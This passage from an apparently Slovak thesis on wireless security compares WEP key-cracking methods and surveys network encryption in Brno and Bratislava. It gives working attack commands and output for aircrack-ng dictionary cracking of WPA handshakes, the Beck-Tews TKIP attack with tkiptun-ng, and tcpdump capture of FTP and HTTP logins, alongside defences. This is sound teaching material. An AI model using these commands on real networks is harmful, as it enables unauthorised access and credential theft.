2 0/ 1 6F(18944) CA(16640) 61(16384) A4(16384) 14(16128) 3D(16128)
3 1/ 18 6F(16640) 14(16384) E5(16128) 08(16128) 92(16128) A8(16128)
4 12/ 18 33(15360) 7F(15360) E9(15104) 4F(15104) 69(15104) 91(15104)
KEY FOUND! [ 50:68:6F:6F:33 ] (ASCII: Phoo3 )
Decrypted correctly: 100%
Obr. 6.6: Ukážka prelomeného 64bitového WEP kľúča
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6.4.16 Vyhodnotenie metód PTW a FMS/KoreK
Výsledky jednotlivých meraní pre obidve metódy PTW a FMS/KoreK boli
zaznamenané do tab. 6.5. Tieto hodnoty boli následne vynesené do grafu, ktorý
môžeme vidieť na obr. 6.7, kde môžeme vidieť znateľný rozdiel v oboch metódach.
Novšia metóda PTW potrebuje na prelomenia WEP kľúča niekoľkonásobne menší
počet zachytených paketov ako staršia metóda FMS/KoreK a tak sa celková doba
na získanie hesla výrazne skracuje. Príkladom môže byť 64bitový kľúč „Eriu6ÿ, pri
ktorom metóda PTW potrebovala iba 5152 paketov, pričom pri rovnakom kľúči
potrebovala metóda FMS/KoreK až 425319 paketov na prelomenie kľúča.
Z tabuľky tiež vyplýva, že metóda PTW je tiež efektívna na lámanie 128bitových
kľúčov, kde pri úplne náhodnom hesle „‘1wk.Qfl7$r˜iÿ potrebovala iba 35612
paketov. Týmto táto metóda dáva jasne najavo, že v dnešnej dobe by sa už
šifrovací protokol WEP nemal používať.
Kľúč WEP Metóda Počet kľúčov Počet IV
Phoo3 64 b PTW 48308 12076
Eriu6 64 b PTW 188240 5152
Phoo3 64 b FMS/KoreK 3873452 302419
Eriu6 64 b FMS/KoreK 13942304 425319
iJe3voogaesho 128 b PTW 637 34738
‘1wk.Qfl7$r~i 128 b PTW 488064 35612
iJe3voogaesho 128 b FMS/KoreK 4192 1930102
‘1wk.Qfl7$r~i 128 b FMS/KoreK 8915 3514321
Tab. 6.5: Výsledky nameraných hodnôt pre metódy PTW a FMS/KoreK
1000 10000 100000 1000000 10000000
IV
 64b "Phoo3"
 64b "Eriu6"
 128b "iJe3voogaesho"
 128b "`1wk.Qﬂ7$r~i"
He
slo
PTW
FMS/Korek
Obr. 6.7: Porovnanie metód PTW a FMS/KoreK
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6.5 Útoky na TKIP
6.5.1 Útok hrubou silou na TKIP a CCMP
Podstata tohoto útoku proti TKIP spočíva na hrubom útoku proti zachytenému
EAPOL handshaku. Útoky hrubou silou tohoto typu sú realizovateľné i proti CCMP.
Tento útok je možné aplikovať iba na sietiach so zabezpečením WPA alebo
WPA2/RSN, ktoré používajú PSK.3. Tak ako je popísané v časti 5.3.4, 4cestným
podaním rúk získame dočasný kľúč, ktorý sa používa na ochranu bezdrôtového pre-
nosu. Tento handshake obsahuje jeden tajný kľúč používaný medzi stanicou a AP,
jedná sa konkrétne o hlavný kľúč PMK, ktorý sa odvodzuje z predzdieľaného hesla.
Samotné heslo a PMK sa nikdy neposiela vzdušným priestorom. Namiesto toho sa
počas 4cestného podania ruky vyjadrí PTK z náhodne vygenerovaných hodnôt.
WPA a WPA2/RSN podporuje aj iné autorizačné metódy ako len PSK, avšak
samotný program na lámanie hesiel aircrack-ng podporuje iba PSK. Práve preto je
potrebné najskôr o danej sieti zistiť, napr. programom airodump-ng alebo Kismet,
či daná sieť používa autentizáciu prostredníctvom PSK. Na rozdiel od WEP, kde
bolo možné použiť metódy na urýchlenie procesu prelamovania v prípade WPA a
WPA2/RSN je možné použiť iba hrubú silu. Na realizáciu tohto útoku je potrebné
zachytiť handshake z výmeny medzi stanicou a AP. Handshake je možné zachytiť
v čase, keď sa stanica pripája do siete. Keďže samotná dĺžka PSK sa pohybuje od
8 až do 63 znakov, je takmer nemožné prelomiť heslo hrubou silou, čo znamená,
že táto metóda môže byť efektívna iba voči slabým slovníkovým heslám. Cieľom
tohoto útoku je zachytiť WPA a WPA2/RSN autorizačný handshake a následne
ho použiť spoločne s programom aircrack-ng na prelomenie PSK. Toto je možné
realizovať zásadne dvoma metódami a to aktívne alebo pasívne. Pri aktívnej me-
tóde môžeme použiť deautentizačný útok, aby sme vynútili autentizáciu klienta. Pri
pasívnej metóde môžeme použiť programy ako airodump-ng alebo Kismet.Výhoda
pasívnej metódy spočíva v tom, že k nej nie je potrebná bezdrôtová karta, ktorá
podporuje injekčný mód. Avšak nevýhodou je, že samotný handshake môžeme za-
chytiť až po dlhšej dobe. Na obr. 6.8 môžeme vidieť objavené heslo pomocou aplikácie
aircrack-ng, kde bol použitý slovníkový útok na odchytený handshake.
3nezáleží na použitej šifre
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Daný útok realizujeme jednoduchým príkazom, kde parametrom „-wÿ definujeme
cestu k použitému slovníku a súbor handshake.cap obsahuje zachytený handshake.
# aircrack-ng -w dict.lst handshake.cap
Parameter Popis
-w cesta k požadovanému slovníku
Aircrack-ng 1.0
[00:12:16] 100 keys tested (305.71 k/s)
KEY FOUND! [ test ]
Master Key : 98 C2 3E 03 59 B1 F3 8A 4C E4 B6 02 BB F3 4E 20
A4 35 23 60 6B 54 E9 82 50 4D 39 0A 85 74 33 13
Transcient Key : 51 B5 9B E4 CB CA CA BF 59 A5 D2 EA 67 D5 2D 12
15 75 7B B1 A8 4F 4D A9 A4 A1 A7 C3 E1 C6 3C 64
17 5C 43 1C 13 35 57 63 16 D1 36 E1 F6 68 B8 8F
9B EA 46 BA 1F 1B 98 41 7E 66 2D 96 30 C5 91 97
EAPOL HMAC : 61 AF AF 74 50 45 5B 6F 13 C2 4A 98 AB 98 12 C7
Obr. 6.8: Ukážka prelomeného WPA kľúča
6.5.2 Ochrana proti útokom hrubou silou na TKIP a CCMP
Týmto útokom je možné prelomiť PSK iba ak pozostáva zo slovníkového alebo rela-
tívne krátkeho hesla. Ochranou je preto nastavenie dostatočne dlhého, náhodného a
v žiadnom prípade nie slovníkového hesla. Použitie metódy hrubej sily závisí priamo
na výpočtovom výkone HW. Jeden priemerný procesor dokáže otestovať okolo 50
až 300 možných kľúčov za sekundu, čo znamená, že pri použití veľkej slovníkovej
databázy môže trvať nájdenie príslušného hesla niekoľko hodín alebo dní. Výpočet
PMK je veľmi náročný, avšak realizovateľný s GPU. Napríklad útočník prostredníc-
tvom open-source programu Pyrit4 s použitím štyroch prepojených grafických kariet
Nvidia GeForce 295 GTX (CUDA) dokáže urýchliť výpočet až na 89 000 PMK/s.[33]
Takto útočník môže prelomiť aj relatívne silné heslá, preto je dôležité voliť čo najdlh-
šie a úplne náhodné heslo, ktoré je síce ťažko zapamätateľné ale poskytuje najvyššiu
možnú ochranu voči takýmto hrubým útokom. Dôležité je tiež pravidelne meniť
heslá.
4http://code.google.com/p/pyrit
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6.5.3 Útok Beck-Tews
IEEE 802.11e (QoS)
TKIP používa TSC, aby zabránil útokom opakovaním, čo znamená ak by útoč-
ník chcel opakovane odoslať zachytený paket tak ho AP alebo stanica zahodí. Pre
útočníka toto v podstate znamená, že útok typu Chopchop nebude schopný použiť,
pretože tento útok je možné aplikovať iba na siete, ktoré nie sú zabezpečené pred
útokom opakovaním.
Beck a Tews vo svojej technickej správe[8] objavili, že v sietiach, ktoré poskytujú
QoS je možné aplikovať útok podobný ako Chopchop na jednom z kanálov QoS,
ktorý nie je používaný pre bežný prenos dát. Každý QoS kanál má svoje vlastné
počítadlo TSC. Útočník vie, že hodnota TSC sa zvyšuje iba ak je prijatý platný
paket a taktiež, že sú prijaté iba tie pakety, u ktorých je hodnota TSC prijatých
paketov vyššia ako hodnota TSC posledných prijatých paketov. Z tejto znalosti vie,
že by bolo možné zachytené pakety z jedného kanálu injekčnou metódou opakovať
do iného kanálu QoS s nižšou hodnotou TSC. Vo väčšine sietí s poskytovaným QoS
sú bežné dáta posielané na kanále 0, čo znamená, že ostatné kanále QoS budú mať
nižšiu hodnotu TSC a tak môžu byť zraniteľné voči útokom podobným ako chopchop.
Postup útoku
Dôležité je si uvedomiť, že daným útokom nie je možné získať kľúč a tak sa nedá
zrovnávať s útokmi ako FMS alebo PTW.
Tento útok umožňuje útočníkovi dešifrovať ARP žiadosť v smere od AP k stanici
a tak získať prúdový kľúč a MIC kľúč pre daný paket. Túto znalosť môže využiť
na vytvorenie vlastných paketov v smere od AP k stanici a injekciu do siete.[12]
Na realizáciu útoku je potrebných tak 12 až 15 minút. Jednotlivé časti útoku sú
zobrazené na obr. 6.9.
Samotný útok pozostáva zo štyroch rôznych fáz:
• deautentizácii klienta.
• Modifikovanom útoku Chopchop.
• Odhade a potvrdzovaní zvyškov paketu.
• V obrátení algoritmu Micheal.
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Zachyť ARP paket
Deautentizuj stanicu
Odhadni bajt
Sekni nasledujúci bajt
Obdržala
sa zpráva
 o zlihaní
 MIC ?
Počet odhadov
< 256 ?
Súhlasí
ICV ?
Čakaj 60 sekúnd Čakaj 60 sekúnd
Obráť MIC kľúč
Odhadni 
IP adresy
Ukončené
sekanie
ICV a MAC ?
Začiatok
Koniec
NIE
ÁNO
ÁNO
NIE
NIE
NIE
ÁNO
ÁNO
Obr. 6.9: Postup útoku Beck-Tews
Realizácia
Aplikácia tkiptun-ng v podstate najskôr získa prúdový kľúč malého paketu a MIC
kľúč, umožňuje to metóda podobná Chopchop útoku. Následne je možné vypočítať
MIC kľúč, ktorý sa používa na ochranu paketov posielaných v smere od AP k stanici
obráteným algoritmom Michael.
V tomto momente aplikácia tkiptun-ng získala MIC kľúč a pozná prúdový kľúč
pre komunikáciu v smere od AP k stanici viď obr. 6.10. Následne so XOR súborom
môže útočník vytvoriť nové pakety a injekciou ich odoslať späť do siete.
Samotný útok je realizovaný nasledovne.
# tkiptun-ng -e diplomka -a 00:50:7F:A6:19:D8 -h 00:16:CE:8A:8E:05 -m 80 -n 100 mon0
Parameter Popis
-9 Otestuje kvalitu signálu a možnú injekciu
-e Nastaví cieľovú SSID
-a Nastaví cieľovú MAC adresu AP
-h Nastaví zdrojovú MAC adresu obete
-m Minimálna dĺžka paketu
-n Maximálna dĺžka paketu
69
The interface MAC (00:0E:9B:B9:79:F1) doesn’t match the specified MAC (-h).
ifconfig mon0 hw ether 00:16:CE:8A:8E:05
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
12:03:28 Michael Test: Successful
12:03:28 Waiting for beacon frame (BSSID: 00:50:7F:A6:19:D8) on channel 6
12:03:28 Found specified AP
12:03:28 Sending 4 directed DeAuth. STMAC: [00:16:CE:8A:8E:05] [ 0| 0 ACKs]
12:03:34 Sending 4 directed DeAuth. STMAC: [00:16:CE:8A:8E:05] [ 0| 0 ACKs]
12:03:36 WPA handshake: 00:50:7F:A6:19:D8 captured
12:03:36 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0305-150705.cap
12:04:45 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0305-150705.cap
12:04:45 Got the answer!
12:04:45 Waiting 10 seconds to let encrypted EAPOL frames pass without
interfering.
12:04:55 Offset 99 ( 0% done)| xor = B3 | pt = D3 | 103 frames written in
84468ms
...
12:50:47 Offset 70 (48% done)| xor = 0E | pt = 00 | 239 frames written in
195980ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
12:51:01 Reversed MIC Key (FromDS): C1:35:13:64:2F:5C:1B:73
Saving plaintext in replay_dec-0201-125101.cap
Saving keystream in replay_dec-0201-125101.xor
12:51:01
Completed in 2816s (0.02 bytes/s)
12:51:01 AP MAC: 00:50:7F:A6:19:D8 IP: 192.168.0.1
12:51:01 Client MAC: 00:16:CE:8A:8E:05 IP: 192.168.0.12
12:51:01 Sent encrypted tkip ARP request to the client.
12:51:01 Wait for the mic countermeasure timeout of 60 seconds.
Obr. 6.10: Ukážka priebehu Beck-Tews útoku
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6.5.4 Obrana proti útoku Beck-Tews
Existuje niekoľko možných spôsobov ako sa takémuto útoku vyhnúť. Jeden z najúčin-
nejších je jednoducho prestať používať TKIP a začať používať bezpečnejší protokol
CCMP. CCMP je bezpečnejší, avšak neumožňuje spätnú kompatibilitu s WEP. Pre
starší HW, ktorý podporuje iba WEP alebo TKIP toto riešenie nie je možné.
Jedna z možností je vypnúť podporu pre QoS, keďže je to jedna z hlavných
požiadaviek pre tento útok. Ďalšou možnou obranou je skrátenie intervalu obnovy
kľúča, pretože tento interval definuje práve po akú dobu bude platný PTK. Tento
útok sa spolieha hlavne na tento interval, keďže daný útok potrebuje dostatočnú
dobu na to, aby uspel. Zabrániť tomuto útoku je možné zredukovaním tohto intervalu
na hodnotu menšiu ako 10 minút.[12] Beck a Tews odporúča túto hodnotu nastaviť
na menšiu než 120 sekúnd.[8]. Zredukovanie intervalu na tak krátku dobu spôsobí,
že útočník nebude schopný dešifrovať celý ICV.
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6.5.5 Útok Ohigashi-Morii
Tento útok aplikuje útok Beck-Tews do MITM (Človek uprostred – Man in the
middle) útoku. Útok Beck-Tews nevyžaduje pri MITM útoku podporu IEEE 802.11e
QoS, čo znamená, že tento útok sa dá použiť na akúkoľvek implementáciu WPA.
Počas MITM útoku útočník zachytáva užívateľskú komunikáciu až do konca útoku,
čo znamená, že ak celkový čas útoku prekročí požadovanú hodnotu, tak ho užívateľ
môže odhaliť. Výsledkom toho je, že celkový potrebný čas sa pohybuje okolo jednej
minúty na úspešné dokončenie útoku.
6.6 Analýza zabezpečenia WLAN
Meranie prebiehalo v niektorých lokalitách Brna a Bratislavy. Na analýzu bol použitý
program Kismet, ktorý umožňuje detekovať bezdrôtové siete so skrytým SSID. Keďže
tento program umožňuje detekovať bezdrôtové siete v pasívnom režime, nie je možné
ho detekovať pomocou IDS. Samotný program obsahuje tiež IDS, ktorý analyzuje
bezdrôtové siete a podáva pravidelné hlásenie o podozrivých aktivitách na sieti.
Program umožňuje detailnú analýzu sietí, my sa však v tejto časti zameriame hlavne
na typ použitého šifrovania a autentizácie. Podrobnejší popis uvedeného programu
nájdeme v časti 6.7.1 určenej pre tento program.
Lokalita
Autentizácia Šifrovanie Počet
Bez PSK Bez WEP TKIP CCMP sietí
Brno - Hlavná stanica 37 20 14 23 12 8 57
Brno - Moravské námestie 27 23 9 18 13 10 50
Brno - Kopečná 42 34 16 26 14 20 76
Brno - Kolejní 72 23 53 19 10 13 95
Bratislava - Hlavná stanica 92 21 69 23 14 7 113
Celkom 270 121 161 109 63 58 391
Tab. 6.6: Celková analýza zabezpečenia bezdrôtových sietí
Lokalita
Číslo kanálu
1 2 3 4 5 6 7 8 9 10 11 12 13
Brno - Hlavná stanica 11 3 5 2 7 12 1 3 8 1 10 3 2
Brno - Moravské námestie 14 5 2 3 5 7 2 1 3 1 5 2 3
Brno - Kopečná 15 4 6 2 3 10 1 3 1 7 12 3 5
Brno - Kolejní 18 9 3 6 5 8 5 3 5 2 3 3 2
Bratislava - Hlavná stanica 35 17 11 6 8 17 8 2 3 2 7 2 8
Celkom 93 38 27 19 28 54 17 12 20 13 37 13 20
Tab. 6.7: Prehľad počtu využívaných kanálov v daných lokalitách
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Obr. 6.11: Zabezpečenie v daných lokalitách
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Obr. 6.12: Prehľad celkového zabezpečenia
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Obr. 6.13: Prehľad celkového rozloženia kanálov
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6.6.1 Zhodnotenie analýzy
Z výslednej analýzy, ktorá je uvedená v tab. 6.6 je zrejmé, že 161 sietí nepoužívalo
žiadne šifrovanie na linkovej vrstve. Avšak niektoré z týchto sietí mohli byť zabez-
pečené na vyšších vrstvách a to napríklad na sieťovej (IPSec), transportnej (SSL,
TLS, SSH) alebo aplikačnej vrstve (SET, PGP). Z analýzy tiež vyplýva, že 109 sietí
používalo šifrovanie WEP, 63 sietí TKIP a 58 sietí CCMP. Tak ako v predchádzajú-
com prípade pri nezabezpečených sietiach, nie je vylúčené, že šifrovanie na linkovej
vrstve nebolo zabezpečené aj na vyšších vrstvách. V prípade šifrovania WEP bez
zabezpečenia na vyšších vrstvách sa jedná o vážne bezpečnostné riziko. Analyzované
siete umožňovali dva typy autentizácie a to žiadnu (270 sietí) alebo PSK (121 sietí).
Na obr. 6.11 môžeme vidieť typy zabezpečenia v určitých lokalitách. Prehľad celko-
vého zabezpečenia všetkých analyzovaných sietí nájdeme na obr. 6.12.
Z tab. 6.7 môžeme vidieť prehľad používaných kanálov v jednotlivých lokalitách.
Na obr. 6.13 je zobrazené celkové rozloženie kanálov. Z obr. 6.13 je zrejmé, že väčšina
sietí používala kanály 1, 2, 6 a 11. U týchto používaných kanáloch je veľká pravdepo-
dobnosť, že dané AP používali prednastavené kanály od výrobcov. Pri veľkej hustote
AP v malých oblastiach môže dôjsť ku vzájomnému rušeniu, čím sa komplikuje sa-
motné pripojenie k danej sieti, keďže samotné pripojovanie je ovplyvnené kvalitou
signálu. Keďže v daných oblastiach sme z analýzy viď obr. 6.13 zistili, že väčšina
týchto AP používala 4 kanály, tak pravdepodobnosť výskytu rušenia v týchto ob-
lastiach je dosť vysoká. Rušenie neovplyvňuje iba pripojovanie k daným sietiam ale
aj prenosovú rýchlosť, keďže susedné kanály sa môžu prekrývať.[5]
6.7 Odposluch
6.7.1 Kismet
Kismet je voľne šíriteľný analyzátor bezdrôtových sietí (snifer), teda program na
odchytávanie paketov, pracujúci na operačných systémoch Linux, Unix a Mac OS
X. Dokáže pracovať s rôznymi bezdrôtovými kartami, ktoré umožňujú monitorovací
režim. Tento režim zachytáva pakety bez potreby asociácie s AP a bez potreby
vlastniť príslušné práva. Kismet detekuje siete v pasívnom režime, čo mu umožňuje
detekovať skryté bezdrôtové siete a sám o sebe byť nedetekovateľným.
NetStumbler je ďalší voľne šíriteľný program pre operačný systém Windows,
avšak v porovnaní s programom Kismet aktívne vyhľadáva okolité siete posielaním
„probe requestsÿ. Práve z toho dôvodu je ľahko detekovateľný a nedokáže objaviť
skryté siete. Kismet tiež umožňuje zachytávanie dát, čo NetStumbler neumožňuje.
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Kismet je program typu server a klient. V terminále môžeme server spustit prí-
kazom „kismet serverÿ a klient príkazom „kismet clientÿ. Kismet podporuje
niekoľko typov logu ako napr. „dump5ÿ, „csvÿ alebo „xmlÿ. Môže sa použiť pre
„wardrivingÿ v kombinácii s GPS zariadením a nástrojom „gpsdÿ na vykreslenie
detekovaných prístupových bodov a pokrytých bezdrôtových oblastí.
Pred samotným spustením programu je potrebné definovať typ ovládača v konfi-
guračnom súbore kismet.conf pre danú bezdrôtovú kartu. V tab. 6.8 môžeme vidieť
príklad nastavenia pre ovládač b43 a význam jednotlivých parametrov v tab. 6.9. De-
tailnejší popis a zoznam podporovaných kariet môžeme nájsť na oficiálnych strán-
kach http://www.kismetwireless.net.
Konfiguračný súbor Nastavená požadovaná hodnota
kismet.conf source=b43,wlan0,kismet
Tab. 6.8: Príklad nastavenia pre ovládač b43
Parameter Význam
b43 Typ ovládača
wlan0 Rozhranie
kismet Voliteľné označenie ovládača
Tab. 6.9: Význam jednotlivých parametrov
Dôležitou súčasťou tohto programu je podpora IDS, ktorý umožňuje detekovať
aktívne snifery a niekoľko druhov útokov na bezdrôtové siete. Príklad takýchto de-
tekovaných útokov môžeme vidieť v tab. 6.10.
BSSTIMESTAMP Out-of-sequence BSS timestamp on 00:50:7F:A6:19:D8 - got 86c3a,
expected 1c4caa - this could indicate AP spoofing
PROBENOJOIN Suspicious client 00:0E:9B:B9:79:F1 - probing networks
but never participating.
DEAUTHFLOOD Deauthenticate/Disassociate flood on 00:50:7F:A6:19:D8
DISASSOCTRAFFIC Suspicious traffic on 00:0E:9B:B9:79:F1. Data traffic
within 10 seconds of disassociate.
CHANCHANGE Beacon on 00:50:7F:A6:19:D8 (diplomka) for channel 1,
network previously detected on channel 6
Tab. 6.10: Príklad objavených útokov na AP
5Tento typ logu podporujú programy ako tcpdump, Wireshark alebo Airsnort.
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Kismet je veľmi jednoduchý a pritom vysoko konfigurovateľný snifer. Príklad
s nastavením, ktoré bolo použité v tejto práci je na obr. 6.11 s popisom jednotlivých
označení pre tabuľku „infoÿ v tab. 6.12 a pre SSID tabuľku v tab. 6.13. Toto uží-
vateľské prostredie bolo dosiahnuté pridaním týchto parametrov do konfiguračného
súboru kismet ui.conf.
columns=decay,name,type,wep,channel,packets,flags,ip,size,mac,signal,quality,noise
+-Network List--(Autofit)-------------------------------------------------------------++-Info---+
| Name T W Ch Packts Flags IP Range Size Sgn Nse || Ntwrks |
| Matrix A O 006 557457 0.0.0.0 298M 0 0 || 6824 |
| ! Karbanatek A O 005 237212 0.0.0.0 161M -83 -72 || Pckets |
| GHDFA A N 013 134247 A 169.254.22.100 5M 0 0 || 170603 |
| ! Dweep’s A O 011 222376 0.0.0.0 255k -81 -72 || Cryptd |
| ! LKPR APP A O 011 266588 0.0.0.0 259M -73 -72 || 814147 |
| ! M3QNET06 A N 004 121642 0.0.0.0 496k -78 -72 || Weak |
|+ Adhoc networks G N --- 220178 G 0.0.0.0 660k 0 0 || 885 |
| prckovoAP A O 001 140065 0.0.0.0 320k 0 0 || Noise |
| ! Cz.Free-Rencova23 A Y 007 566932 0.0.0.0 22M -83 -72 || 43747 |
| oddysse A Y 002 10326 U 169.254.210.55 1M 0 0 || Discrd |
| vutbrno A O 009 198704 U 147.229.64.188 254M 0 0 || 43747 |
| Epsilon107 A O 009 101733 T4 10.4.1.12 14M 0 0 || Pkts/s |
| wifihotspot.cz A N 007 46045 A 192.168.10.198 316k 0 0 || 24 |
| Andulka A O 001 10074 0.0.0.0 33k 0 0 || kismet |
| OrioNET-Oresin2g4 A N 007 8345 0.0.0.0 0B 0 0 || Ch: 10 |
| W1gw-b13 A Y 005 5858 0.0.0.0 4k 0 0 || |
| ! ejsi’s wireless A O 001 612813 A3 192.168.0.0 236k -73 -72 || Elapsd |
+-------------------------------------------------------------------------------------++213:32:0+
+-Status----------------------------------------------------------------------------------------+
| ALERT: Suspicious client 00:1F:DF:0A:50:88 - probing networks but never participating. |
| Saving data files. |
| ALERT: Suspicious traffic on 00:1F:3C:7A:98:A8. Data traffic within 10 seconds of disassocia|
| ALERT: Suspicious traffic on 00:1F:3C:7A:98:A8. Data traffic within 10 seconds of disassocia|
+-Battery: AC 99%-------------------------------------------------------------------------------+
Tab. 6.11: Kismet a nastavenie užívateľského prostredia
V prípade znalosti WEP kľúča je možné nastaviť program na konkrétny WEP
kľúč a to pridaním samotného kľúča do konfiguračného súboru kismet.conf ako
je zobrazené nižšie. Kde prvá hodnota označuje BSSID daného AP a hodnota za
čiarkou označuje hexadecimálnu hodnotu daného kľúča.
wepkey=00:50:7F:A6:19:D8,50686f6f33
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Parameter Význam
Ntwrks Celkový počet nájdených sietí
Pckets Celkový počet paketov
Cryptd Počet zašifrovaných paketov
Weak Počet slabých rámcov
Noise Detekované dáta v rámci šumu
Discrd Zahodené rámce
Pkts/s Rýchlosť toku dát
kismet Voliteľné označenie ovládača
Ch Momentálne používaný kanál
Elapsed Celkový ubehnutý čas
Tab. 6.12: Význam jednotlivých parametrov pre tabuľku Info
Parameter Význam
Name Názov siete
T Typ siete a jej symboly
P - iba probe request
A - siete s AP
H - Ad-Hoc
T - Turbocell
G - skupina sietí
D - dátová sieť
W Typ zabezpečenia siete a jeho symboly
N - žiadne
Y - WEP
O - iné
Ch Číslo pracovného kanálu
Packts Počet zachytených paketov
Flags Stavový príznak a jeho symboly
F - výrobné nastavenie
T# - Adresový rozsah # oktetu zistený z pozorovania TCP
U# - Adresový rozsah # oktetu zistený z pozorovania UDP
A# - Adresový rozsah # oktetu zistený z pozorovania ARP
D - Adresový rozsah zistený z pozorovania DHCP
W - monitorovaná sieť pomocou známeho WEP kľúča
IP Range Zobrazenie zistených IP adries
Size Objem zachytených dát
Sgn Úroveň signálu
Nse Úroveň šumu
Tab. 6.13: Význam jednotlivých parametrov pre tabuľku SSID
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6.7.2 Tcpdump
Tcpdump je paketový analyzátor, ktorý pracuje v príkazovom riadku. Tento analy-
zátor umožňuje zachytávať a zobrazovať vysielané alebo prijímané pakety cez sieť.
Tcpdump potrebuje k svojej činnosti práva superužívateľa (root). Avšak existuje aj
možnosť pridelenia práv bežným užívateľom.
V tejto časti bola realizovaná analýza bežných protokolov, ktoré sa často pou-
žívajú bez šifrovania a tak umožňujú komukoľvek kto odpočúva danú sieť zachytiť
citlivé dáta. Avšak v prípade použitia šifrovacích mechanizmov vyšších vrstiev je
možné týmto odposluchom zabrániť.
Odposluch FTP
V tomto prípade sa realizovalo odchytenie prihlasovacích údajov u protokolu ftp,
ktoré samo o sebe je najpoužívanejším a hlavne najstarším spôsobom prenosu väčších
dát. Na obr. 6.14 je možné vidieť odchytené prihlasovacie údaje.
# tcpdump -A -i wlan0 dst 192.168.1.15 and port ftp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap
header), capture size 65535 bytes
02:00:17.818822 IP debian-2.local.60841 > 192.168.1.15.ftp: P 92:102(10) ack
382 win 108 <nop,nop,timestamp 3157377 272598941>
....(...X......l.<.....
.0-..?..USER ftp
02:00:17.820708 IP debian-2.local.60841 > 192.168.1.15.ftp: P 102:112(10) ack
457 win 108 <nop,nop,timestamp 3157378 272598942>
....(...X..N...l.......
.0-..?..PASS ftp
Obr. 6.14: Odchytenie prihlasovacích údajov pre protokol ftp
Parameter Popis
-A Vypíše každý paket v ASCII (bez hlavičky linkovej vrstvy).
-i mon0 Rozhranie mon0
dst port ftp Cieľový port číslo 20
Tab. 6.14: Popis jednotlivých parametrov pre obr. 6.14
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Odposluch ICQ
Ďalším takým protokolom je práve i ICQ, ktorý je medzi bežnými užívateľmi veľmi
obľúbený. Pokiaľ daný protokol nie je zabezpečený, tak sú všetky správy posielané
cez sieť čitateľné ako je znázornené na obr. 6.15.
# tcpdump -A -i wlan0 -XX -vv -s 0 dst port 58782
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap
header), capture size 65535 bytes
20:11:14.917529 IP (tos 0x0, ttl 64, id 62652, offset 0, flags [DF], proto TCP
(6), length 111)
192.168.0.15.39488 > bos-d052c-rdr2.blue.aol.com.aol: P, cksum 0xc017 (correct),
317:388(71) ack 491 win 63920
0x0000: 001c 2e5b c400 000a e4e0 46d0 0800 4500 ...[......F...E.
0x0010: 006f f4bc 4000 4006 08cb 93e5 d822 cdbc .o..@.@......"..
0x0020: 033d 9a40 1446 5586 1968 e7c5 1e62 5018 .=.@.FU..h...bP.
0x0030: f9b0 c017 0000 2a02 0028 0041 0004 0006 ......*..(.A....
0x0040: 0000 0000 0046 3434 3333 3434 3300 0001 .....F4433443...
0x0050: 0932 3533 3832 3538 3935 0002 001b 0501 .253825895......
0x0060: 0002 0106 0101 0011 0000 0000 7465 7374 ............test
0x0070: 2064 6970 6c6f 6d6b 6100 0300 00 .diplomka....
Obr. 6.15: Odposluch komunikácie cez protokol ICQ
Parameter Popis
-A Vypíše každý paket v ASCII (bez hlavičky linkovej vrstvy)
-i mon0 Rozhranie mon0
-XX Vypíše hlavičku a dáta každého paketu spoločne
s hlavičkou linkovej vrstvy v hex a ASCII
-vv Rozšírenejší výpis
-s 0 Zachytí celý paket
dst port 58782 Cieľový port číslo 58782
Tab. 6.15: Popis jednotlivých parametrov pre obr. 6.15
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Odposluch HTTP
Tento pravidelne používaný protokol na prezeranie obsahu internetu je často ne-
chránený a útočník tam môže odhaliť citlivé informácie ako napríklad prihlasovacie
údaje. Príklad takéhoto odposluchu môžeme vidieť na obr. 6.16.
# tcpdump -A -i wlan0 -vv -s 0 host www.diit.cz
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap
header), capture size 65535 bytes
19:20:11.223746 IP (tos 0x0, ttl 64, id 52275, offset 0, flags [DF], proto TCP
(6), length 953)
192.168.0.15.40396 > mail.diit.cz.http: P, cksum 0x5db1 (correct), 0:901(901)
ack 1 win 92 <nop,nop,timestamp 1320840056 3865923072>
E....3@.@.>...."XVg....Ph..A.P|$...]......
N.kx.mN.POST /prihlasit?url=http%253A%252F%252Fwww.diit.cz%252Fclanek%252Fpac-
man-slavi-30-let%252F36267%252F&do=form-submit HTTP/1.1
Host: www.diit.cz
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100408
Gentoo Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.diit.cz/prihlasit?url=http%253A%252F%252Fwww.diit.cz%252F
clanek%252Fpac-man-slavi-30-let%252F36267%252F&do=form-submit
Cookie: PHPSESSID=b0b8d30834f8acbe08dc5135614cd73c; nette-browser=0.210015771116
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
__form%5B%5D=form&form__token_=e56f3de82e8ecf6c6509b033cff3f92c&form_username
=test&form_password=test&form_login=P%C5%99ihl%C3%A1sit
Obr. 6.16: Odchytenie prihlasovacích údajov u protokolu http
Parameter Popis
-A Vypíše každý paket v ASCII (bez hlavičky linkovej vrstvy).
-i mon0 Rozhranie
-vv Rozšírenejší výpis
-s 0 Zachytí celý paket
host www.diit.cz Cieľová alebo zdrojová adresa www.diit.cz
Tab. 6.16: Popis jednotlivých parametrov pre obr. 6.16
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Odposluch EAP
V tomto prípade môže útočník analyzovať daný protokol EAP a pasívne odchytávať
napr. handshake pomocou nastavenej hodnoty 0x888E pre pole ethertype 802.11
rámca viď obr. 6.17.
# tcpdump -vvv -net -XX -s 0 -i mon0 ether proto 0x888e
WEP Encrypted 213us DA:00:4f:62:13:24:79 BSSID:00:4f:62:16:ef:74
SA:00:4f:4e:62:6d:31 Data IV:85f4c Pad 0 KeyID 0
